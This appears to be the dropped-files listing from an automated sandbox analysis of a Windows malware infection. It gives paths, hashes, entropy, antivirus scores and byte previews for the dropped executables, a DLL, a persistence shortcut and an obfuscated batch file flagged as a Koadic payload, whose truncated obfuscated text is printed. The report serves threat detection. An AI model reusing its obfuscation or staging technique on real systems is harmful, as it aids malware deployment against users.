Preview:	KIJFaV..BaDh"".aDEF!GKIJ""DaEDVXEDBa.,8+'0:7$8458/=79'9+58/;'4%8<9+5($=%,4;01496)/&09+'8-83$8.+(<<.=/(5-/<(4&79,'%(.9';):19-++:KIJFaV..BaDh"".aDEF!GKIJ""DaEDVXEDBa.&98,6:%29)KIJFaV..BaDh"".aDEF!GKIJ""DaEDVXEDBa/...1#q6)8.;;'@69...;;2.q'.+;4425...+'<q-1.?A1.'0...q@:)8.%+4A/=...;-%.A(.,<A1&%...1-3$3.?-%22:...q(/-37.q?=5.=...?(=5#/.1?-5A9....:-19;.'?A7$/...%,@053.q)#%A<...2-=#0/.2?.64,...$>/#q).0&A#0+...0'@2&0.A/@988...?,A288.)8/9(8...;+,@(,.5#)946...>#&5-.=/@/2(...3$0#8.)709'7...++&4&./=2,4...@)215+.*=?)54...3<A&4+.8....PPSL]]GD.f..mIG^<DH]\W"j....iOU\]SBTN.f.......NPZJZYSKV.O]RTS]BNZe...........m^.MT[.jYO_S.9GI.g\SIBZG4CO..MQZD]..EK]?V]NYMMOM1Q[UBBSTTO...........mccNeWWD.EUD.T]X[GQOG[.`B\`B.ZoHWP.oB`XGP.CC[`KCDKG.QTD]Y`XQV..........^YY`_R.Bp......eklXiVGB._JB W`G^UVBFEiT_U^OKC!Z`S..T[Y[^.H`S@EGP\Pl....phg^JC.RFXDOWLMLT,P7m.\EVV.c!..jghf. G\GROTQ.SQJHU.J4\]EG]^QE.....fhek!..ZYGD]N..]OGZHHH..fX.GCCp[CRlZTUFSC^Y[!RHII.VM.^GM..YQ.ER.LHSCLB`O....;nRNMg.GKV]FRFPRW.kni%....GFJPYM

C:\Users\Public\Libraries\Ucvuiswb.PIF

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1646592
Entropy (8bit):	7.466963242088156
Encrypted:	false
SSDEEP:	24576:NGLyrlj2BH1btTfnxx+KKozJQd/HJNRO/BwTQ+l04pEnlk8U2flxAu:NGup2B+K1mzywTQh4psG2Z
MD5:	E6AC6CA27AA2D60DC59A21AF1FFDB086
SHA1:	9F847E34521E8917C8B22ECA53B71306BC19AF18
SHA-256:	A5B3CE892D48757DF98FEA906DFF92E0210DCBD8D1832E43DFBD2A5ECE61FBA1
SHA-512:	9F4C1E3CB03CD1333A7F2E01F7A3D61803844FC4C1531DD432CC7B7DEDC5625D1253715200CB7E0F6B9C7F906A6DCBB488196153E1E2DC935B27B66D74431EE4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58% Antivirus: Virustotal, Detection: 38%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................p..........D.............@..............................................@........................... ..X$...........................p...`...........................`.......................&...............................text....g.......h.................. ..`.itext...............l.............. ..`.data...LK.......L...t..............@....bss....l6...............................idata..X$... ...&..................@....tls....4....P...........................rdata.......`......................@..@.reloc...`...p...b..................@..B.rsrc................J..............@..@..................... ..............@..@................................................................................................

C:\Users\Public\Libraries\UcvuiswbO.bat

Download File

Process:	C:\Users\user\AppData\Roaming\uc.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (15012), with no line terminators
Category:	dropped
Size (bytes):	30026
Entropy (8bit):	3.9380000056299878
Encrypted:	false
SSDEEP:	192:IBOY7cKQ/CyntVZjpubO0bXWQtagxP2+3o5WIGbfJTAy:C
MD5:	828FFBF60677999579DAFE4BF3919C63
SHA1:	A0D159A1B9A49E9EACCC53FE0C3266C0526A1BDC
SHA-256:	ABAC4A967800F5DA708572EC42441EC373CD52459A83A8A382D6B8579482789D
SHA-512:	BF00909E24C5A6FB2346E8457A9ADACD5F1B35988D90ABBDE9FF26896BBB59EDAFEA60D9DB4D10182A7B5E129BB69585D3E20BC5C63AF3517B3A7EF1E45FFB7E
Malicious:	false
Yara Hits:	Rule: MALWARE_BAT_KoadicBAT, Description: Koadic post-exploitation framework BAT payload, Source: C:\Users\Public\Libraries\UcvuiswbO.bat, Author: ditekSHen
Preview:	..&@cls&@set "_...=H zAnOeUIivpoS3l71mXMxw8yaqYTEuKgFGPJZRfr@k6Wj9sbQB4VtLD2d0C5Nch"..%_...:~41,1%%_...:~47,1%%_...:~6,1%%_...:~53,1%%_...:~1,1%"_...=%_...:~10,1%%_...:~39,1%%_...:~16,1%%_...:~13,1%%_...:~25,1%%_...:~53,1%%_...:~42,1%%_...:~22,1%%_...:~18,1%%_...:~48,1%%_...:~51,1%%_...:~2,1%%_...:~61,1%%_...:~9,1%%_...:~19,1%%_...:~44,1%%_...:~50,1%%_...:~57,1%%_...:~26,1%%_...:~4,1%%_...:~62,1%%_...:~3,1%%_...:~33,1%%_...:~38,1%%_...:~40,1%%.......%%_...:~60,1%%_...:~0,1%%_...:~43,1%%_...:~34,1%%_...:~58,1%%_...:~15,1%%_...:~7,1%%_...:~20,1%%_...:~49,1%%_...:~35,1%%_...:~14,1%%_...:~30,1%%_...:~36,1%%_...:~41,1%%_...:~45,1%%_...:~11,1%%_...:~55,1%%_...:~32,1%%_...:~17,1%%_...:~63,1%%_...:~56,1%%_...:~21,1%%_...:~37,1%%_...:~8,1%%_...:~54,1%%_...:~28,1%%_...:~6,1%%.......%%_...:~5,1%%_...:~59,1%%_...:~52,1%%_...:~29,1%%_...:~24,1%%_...:~12,1%%_...:~46,1%%_...:~47,1%%_...:~1,1%%_...:~23,1%%_...:~27,1%%_...:~31,1%"..%_...:~38,1%%_...:~59,1%%_...:~51,1%%_...:~5,1%%_...:~60,1%"_....=%_...

C:\Users\Public\Libraries\bwsiuvcU.pif

Download File

Process:	C:\Users\user\AppData\Roaming\uc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	68096
Entropy (8bit):	6.328046551801531
Encrypted:	false
SSDEEP:	1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
MD5:	C116D3604CEAFE7057D77FF27552C215
SHA1:	452B14432FB5758B46F2897AECCD89F7C82A727D
SHA-256:	7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
SHA-512:	9202A00EEAF4C5BE94DE32FD41BFEA40FC32D368955D49B7BAD2B5C23C4EBC92DCCB37D99F5A14E53AD674B63F1BAA6EFB1FEB27225C86693EAD3262A26D66C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: ORDER-CONFIRMATION-DETAILS-000235374564.cmd, Detection: malicious, Browse Filename: RFQ-DOC#GMG7278726655738_PM62753_Y82629_xcod.0.GZ, Detection: malicious, Browse Filename: 20240416-703661.cmd, Detection: malicious, Browse Filename: disktop.pif.exe, Detection: malicious, Browse Filename: 82__GT7568.PDF.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.25660.20544.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.15258.6765.exe, Detection: malicious, Browse Filename: rKjlbIeOH9.exe, Detection: malicious, Browse Filename: CONFIRMATION ORDER1.bat, Detection: malicious, Browse Filename: CONFIRMATION ORDER0.bat, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....8.......................p....................@.............................................. ...................p.......`...............................................................P.......................................................text............................... ..`.data....p.......0..................@....tls.........@......................@....rdata.......P......................@..P.idata.......`......................@..@.edata.......p......................@..@

C:\Users\Public\Libraries\easinvoker.exe

Download File

Process:	C:\Users\user\AppData\Roaming\uc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	131648
Entropy (8bit):	5.225468064273746
Encrypted:	false
SSDEEP:	3072:zar2xXibKcf5K67+k02XbFbosspwUUgcR:Nibl7+k02XZb9UA
MD5:	231CE1E1D7D98B44371FFFF407D68B59
SHA1:	25510D0F6353DBF0C9F72FC880DE7585E34B28FF
SHA-256:	30951DB8BFC21640645AA9144CFEAA294BB7C6980EF236D28552B6F4F3F92A96
SHA-512:	520887B01BDA96B7C4F91B9330A5C03A12F7C7F266D4359432E7BACC76B0EEF377C05A4361F8FA80AD0B94B5865699D747A5D94A2D3DCDB85DABF5887BB6C612
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: HFiHWvPsvA.rtf, Detection: malicious, Browse Filename: payment swift.xls, Detection: malicious, Browse Filename: VdwJB2cS5l.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.RATX-gen.9491.24773.exe, Detection: malicious, Browse Filename: Purchase order.exe, Detection: malicious, Browse Filename: Quotation 20242204.exe, Detection: malicious, Browse Filename: pSfqOmM1DG.exe, Detection: malicious, Browse Filename: XY2I8rWLkM.exe, Detection: malicious, Browse Filename: 2020.xls, Detection: malicious, Browse Filename: Quotation 20241804.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........GF..)...)...).,.....).,.....).,.....)...(.V.).,.....).,.....).,.....).,.....).Rich..).........................PE..d...^PPT.........."..........D...... ..........@............................. ......z................ ..................................................................@&......4....................................................................................text............................... ..`.imrsiv..................................data...............................@....pdata..............................@..@.idata..............................@..@.rsrc...............................@..@.reloc..4...........................@..B........................................................................................................................................................................................................................

C:\Users\Public\Libraries\netutils.dll

Download File

Process:	C:\Users\user\AppData\Roaming\uc.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	115180
Entropy (8bit):	5.090281411774507
Encrypted:	false
SSDEEP:	1536:iuuRxID3z1yUXtZKmsryc/o5jdePNtq8YCl7MbiRVRBfY+u:iuuRa/ZZK4c/UePNtq8nRBfY+u
MD5:	6BAAEA4D3A65281B55173738795EB02C
SHA1:	1FBE7EC7F5E2D1FB0AB1807E149EEE66A86F9224
SHA-256:	0007FA57DA2E1DE2E487492D00B99ABAECA7E9F9CAC8A10E24EB569E19F76EE1
SHA-512:	AF0285CF961AEAE960EDE41F195809E9B84CCB262F17F2E994DA5C599EBDF712788E5A3F2E0E2ED16E67AA888BDABFD7A6096AD8DDA2D062D2F82B010E81D5C5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29% Antivirus: Virustotal, Detection: 47%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....&f.X........& ....."....................<a.............................0.......:........ ..............................................................`..(...............\........................... ...(...................................................text...p .......".................. .P`.data...P....@.......(..............@.P..rdata.......P.......*..............@.P@.pdata..(....`.......0..............@.0@.xdata.......p.......4..............@.0@.bss..................................p..edata...............6..............@.0@.idata...............8..............@.0..CRT....X............@..............@.@..tls....h............B..............@.`..reloc..\............D..............@.0B/4...................F..............@.PB/19..................J..............@..B/31.....%...........................@..B/45.....q...........................@..B/57.....

C:\Users\Public\Ucvuiswb.url

Download File

Process:	C:\Users\user\AppData\Roaming\uc.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Ucvuiswb.PIF">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	100
Entropy (8bit):	5.041307755889416
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XMDPhCSsb+Uo0Pjn:HRYFVmTWDyzuErbjn
MD5:	64D91CB26E13C242023735D5311725A4
SHA1:	1B3B3318CDB9098A3DCAD96ECF57D983663E5013
SHA-256:	98DCFD594B2BEFC0AFF0F77CB17E65BA85A89104A848DC003C81289A3C1B6635
SHA-512:	F4DB5FF98FF1A3D3CE1D22A4566BB3267EBBD3A23677BCE40A47742A020DCD5632ADFEB5E3B98397449C0C7635B675CEABD042FE7689F07253BE69A9CE4D4FBD
Malicious:	true
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Ucvuiswb.PIF"..IconIndex=61..HotKey=50..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\yt[1].hta

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PGP Secret Sub-key -
Category:	dropped
Size (bytes):	78133
Entropy (8bit):	6.266039571888932
Encrypted:	false
SSDEEP:	1536:JGgLIQnvgGY9GpGOG2GSGhGKpSozTqQZwnLPcS:TvTY9GpGOG2GSGhGKpvzTTZeLUS
MD5:	16D297E8EEE126E4B52198EFF43B6C36
SHA1:	5FF70DD47D868EDB3F837511A55030810EC7968B
SHA-256:	9A3B2D8D0E1DA113F6C12A4D1517C71B8810006A3031CF129CE2ACE2B2BE673F
SHA-512:	604EF34A0953D7FA1A435115F603CA45FF5B26F5033D1611D28FEBE2440B45E8506EF5F8EABF1B6302D4AE61A10964F6086B4E3387C3C5AAB06932BACE13C6E5
Malicious:	false
Preview:	...."...JX-.....`..+6..C..x$.v....z.R.....7^...fa.8..`'.o3UP..I.......o.......8...b.7.R........wOJ......s.(....rs.Q0..{.....o.5r....C...Wx....{.....B.........[..,.e^m.r2Fr..\|./h...8X.:..T.$..E(.....~)...,..q[..v4.\R.^oi..M>s....>Ru...o.....U.R\...#../e.=..y<A.^LN./...O.K5....(.....E..p.......M.[[....C'.0\..qQ2v......B>....o%.g.. .h.i.ap8...C.fNq.a.....[u..!....Y.6.Z..W.kvJ..S....y...(.e..0.n...vCE...y...l2DgQ....~.U.m.j...j.CB.R.La....2[_.I:.v. M..3...Z6.P.#..2........1.?}..l."..\.W..t.}.;....X..o.n$...0A......QP%..o.T.5.t..y....=...<.!:..2...h.qz...Y'hC...x.....{M3.3...B.......#..../l.,....Ku..J.$F#...5&[r..w...../>K.yy1.a..r.....T.......Gf.J........C.j.x\/.T.G....C&.B.2.<...n.#P.4..U...M.'...K...x~t..-g....0_.M.5m...Fi.?^....l.B.7.5.....V z!.W...1..[8.......J..I..o..Q.}.ol.oR.[...j..........p.=.R..9.0-._...i.9.F.&....Q..^..)...Vb.1.V...%:.....)....~.r.^..5............O........']..{j.S.".N1.........../E["t...5d....[...J...o.e..7..t

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.9243637703272345
Encrypted:	false
SSDEEP:	192:exoe5lpOdxoe56ib49Vsm5emdagkjDt4iWN3yBGHB9smMdcU6CBdcU6Ch9smPpOU:cVib49Vkjh4iUx4cYKib4o
MD5:	EF4099FCAB6D29945272316889156337
SHA1:	5AAFAD4581D21179B892604BEBD6038792F8CBD6
SHA-256:	A86220AB1F2A5498457C8801DFCBB2FE3EA6977378CE7E3EEBD007336AFDB3BC
SHA-512:	EC9BB5508D39E6C038878F789DE84F7FBDC87CD20AE3EF81D68BC6589784ADB98EDCDEBF544A463C0AB2F01F52B743803A49A4F3A54FD3D003851B7DEEB8014C
Malicious:	false
Preview:	PSMODULECACHE......e..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.............z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2920
Entropy (8bit):	5.449039162601703
Encrypted:	false
SSDEEP:	48:4OAzsSU4xymI4RfoUeCa+m9qr9t5/78Nfk+GGxJZKaVEouYAgwd64rHLjtvt:1AzlHxvIIwLz9qrh7KfkUJ5Eo9Adrxt
MD5:	937B7C51E18308029AF0712C90527DF8
SHA1:	3138CAC41F1620E3823BA42E8940897D0E9D33B9
SHA-256:	DBBE368ED1DA16AC950E52E3654DEDA0A4BABADAFF98174DC4D2B688D9814D4C
SHA-512:	9D1E60571389C319B0E6ACC257357FD176913BE9CF695404C093094CA88EA4DC6095C8E0475B48050653FA651A98826BDC7D463C6CAA1DDB9AA75D47DE1B30D8
Malicious:	false
Preview:	@...e...........................................................H..............@-....f.J.\|.7h8..-.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3h2akx4p.gbt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bx55tq2v.0tl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kqgntrab.1pq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pzb3csfr.kno.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rt4fvewj.ald.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vwcvnjfy.hms.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9695268fa6a0c8b2.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5432
Entropy (8bit):	3.5230635675057824
Encrypted:	false
SSDEEP:	48:0rRK4kngzdCZlXuCrdZSQJIQJl2/bW/gpCl6aSogZo/JPJaW/bW/gpClJaSogZog:0FK4kfuCKRl/q/gpCuHa/q/gpCnH1
MD5:	F0AF6AC48366F8841F3F87FC0169B09F
SHA1:	1743C152D36A35FAD3F38A5F3435DDE13425BB05
SHA-256:	84F2B4171FE48BB6EF9D9D36CF2A392EF57AC100C111C608883B3F4D4A9789BF
SHA-512:	7A64A90931B9220E4C3F54EE701A629CA4E66C74DD56D801416EEDB1CF235CF9FA7228F4EAA7D4569C09DF311AADCAC5F5BAC58E9FAAF2676F4C2AF88D3CEA51
Malicious:	false
Preview:	...................................FL..................F.`.. .....e2a......1....&.+1....P............................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_......4a......1......z.2.P....X.% .FT40FE~1.LNK..^......EW.>.X.%...........................j..F.T... .4.0.F.E. .C.N.Y. ...x.l.s.x...l.n.k.......`...............-......._...........6.0......C:\Users\user\Desktop\FT. 40FE CNY .xlsx.lnk..A.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.\.r.o.o.t.\.O.f.f.i.c.e.1.6.\.X.L.I.C.O.N.S...E.X.E.........%ProgramFiles(x86)%\Microsoft Office\root\Office16\XLICONS.EXE......................................................................................................................................................................................................%.P.r.o.g.r.a.m.F.i.l.e.s.(.x.8.6.).%.\.M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.\.r.o.o.t.\.O.f.f.i.c.e.1.6.\.X.L.I.C.O.N.S...E.X.E.................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\A20HZKL49GMHZSOAZMF6.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5432
Entropy (8bit):	3.5230635675057824
Encrypted:	false
SSDEEP:	48:0rRK4kngzdCZlXuCrdZSQJIQJl2/bW/gpCl6aSogZo/JPJaW/bW/gpClJaSogZog:0FK4kfuCKRl/q/gpCuHa/q/gpCnH1
MD5:	F0AF6AC48366F8841F3F87FC0169B09F
SHA1:	1743C152D36A35FAD3F38A5F3435DDE13425BB05
SHA-256:	84F2B4171FE48BB6EF9D9D36CF2A392EF57AC100C111C608883B3F4D4A9789BF
SHA-512:	7A64A90931B9220E4C3F54EE701A629CA4E66C74DD56D801416EEDB1CF235CF9FA7228F4EAA7D4569C09DF311AADCAC5F5BAC58E9FAAF2676F4C2AF88D3CEA51
Malicious:	false
Preview:	...................................FL..................F.`.. .....e2a......1....&.+1....P............................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_......4a......1......z.2.P....X.% .FT40FE~1.LNK..^......EW.>.X.%...........................j..F.T... .4.0.F.E. .C.N.Y. ...x.l.s.x...l.n.k.......`...............-......._...........6.0......C:\Users\user\Desktop\FT. 40FE CNY .xlsx.lnk..A.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.\.r.o.o.t.\.O.f.f.i.c.e.1.6.\.X.L.I.C.O.N.S...E.X.E.........%ProgramFiles(x86)%\Microsoft Office\root\Office16\XLICONS.EXE......................................................................................................................................................................................................%.P.r.o.g.r.a.m.F.i.l.e.s.(.x.8.6.).%.\.M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.\.r.o.o.t.\.O.f.f.i.c.e.1.6.\.X.L.I.C.O.N.S...E.X.E.................................................................

C:\Users\user\AppData\Roaming\uc.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1646592
Entropy (8bit):	7.466963242088156
Encrypted:	false
SSDEEP:	24576:NGLyrlj2BH1btTfnxx+KKozJQd/HJNRO/BwTQ+l04pEnlk8U2flxAu:NGup2B+K1mzywTQh4psG2Z
MD5:	E6AC6CA27AA2D60DC59A21AF1FFDB086
SHA1:	9F847E34521E8917C8B22ECA53B71306BC19AF18
SHA-256:	A5B3CE892D48757DF98FEA906DFF92E0210DCBD8D1832E43DFBD2A5ECE61FBA1
SHA-512:	9F4C1E3CB03CD1333A7F2E01F7A3D61803844FC4C1531DD432CC7B7DEDC5625D1253715200CB7E0F6B9C7F906A6DCBB488196153E1E2DC935B27B66D74431EE4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58% Antivirus: Virustotal, Detection: 38%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................p..........D.............@..............................................@........................... ..X$...........................p...`...........................`.......................&...............................text....g.......h.................. ..`.itext...............l.............. ..`.data...LK.......L...t..............@....bss....l6...............................idata..X$... ...&..................@....tls....4....P...........................rdata.......`......................@..@.reloc...`...p...b..................@..B.rsrc................J..............@..@..................... ..............@..@................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

